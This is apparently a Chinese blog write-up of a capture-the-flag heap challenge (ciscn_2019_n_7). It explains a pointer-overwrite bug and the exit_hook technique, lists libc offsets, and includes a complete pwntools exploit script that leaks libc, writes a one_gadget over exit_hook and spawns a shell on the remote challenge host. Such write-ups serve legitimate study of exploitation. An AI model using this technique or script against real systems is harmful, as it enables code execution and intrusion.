又学到了一个新知识
题目的例行检查我就不放了
关键漏洞
可以看到我们申请的chunk在v1[2】处,这里存放着chunk的地址指针,但是read确实从v1+1开始输入值,说明我们可以去覆盖这个地址
这道题我们利用exit_hook
首先先说一下exit_hook的地址(并不是调用exit_hook,而是在exit中使用到的地址)
在libc-2.23中
exit_hook = libc_base+0x5f0040+3848
exit_hook = libc_base+0x5f0040+3856
在libc-2.27中
exit_hook = libc_base+0x619060+3840
exit_hook = libc_base+0x619060+3848
这样一来,只要知道libc版本和任意地址的写,我们可以直接写这个指针,执行exit后就可以拿到shell了。(其实不用非要执行exit,就程序正常返回也可以执行到这里)
这道题目我不知道为什么有点坑,本地和远程泄露的地址去获得基地址的方式是不一样的
from pwn import * #p = process('./ciscn_2019_n_7') p = remote('node4.buuoj.cn',25004) libc = ELF('./libc-2.23.so') def lounch_gdb(): context.terminal = ['xfce4-terminal','-x','sh','-c'] gdb.attach(proc.pidof(p)[0]) def add(size,name): p.sendlineafter('choice-> ','1') p.sendlineafter('Length: ',str(size)) p.sendafter('name:\n',name) def edit(name,contents): p.sendlineafter('choice-> \n','2') p.sendafter('name:\n',name) p.sendafter('contents:\n',contents) def leak(): p.sendlineafter('choice->','666') leak() lounch_gdb() p.recvuntil('0x') libc_info = int(p.recvuntil('\n'),16) libc_base = libc_info - libc.symbols['puts'] #libc_base = libc_info - 0x6f6a0 print('libc_base-->'+hex(libc_base)) exit_hook = libc_base + 0x5f0040+3848 print('exit_hook-->'+hex(exit_hook)) one_gadget = libc_base + 0xf1147 print('one_gadget-->'+hex(one_gadget)) add(0x30,b'a'*8+p64(exit_hook)) edit('aaaaaaaa',p64(one_gadget)) sleep(0.5) p.sendline('a') p.interactive()
以后应该还会碰到这种题,虽然这道题不难,但是需要记录一下
感谢师傅的文章:
exit_hook在pwn题中的应用 - 不会修电脑 - 博客园 (cnblogs.com)
结束!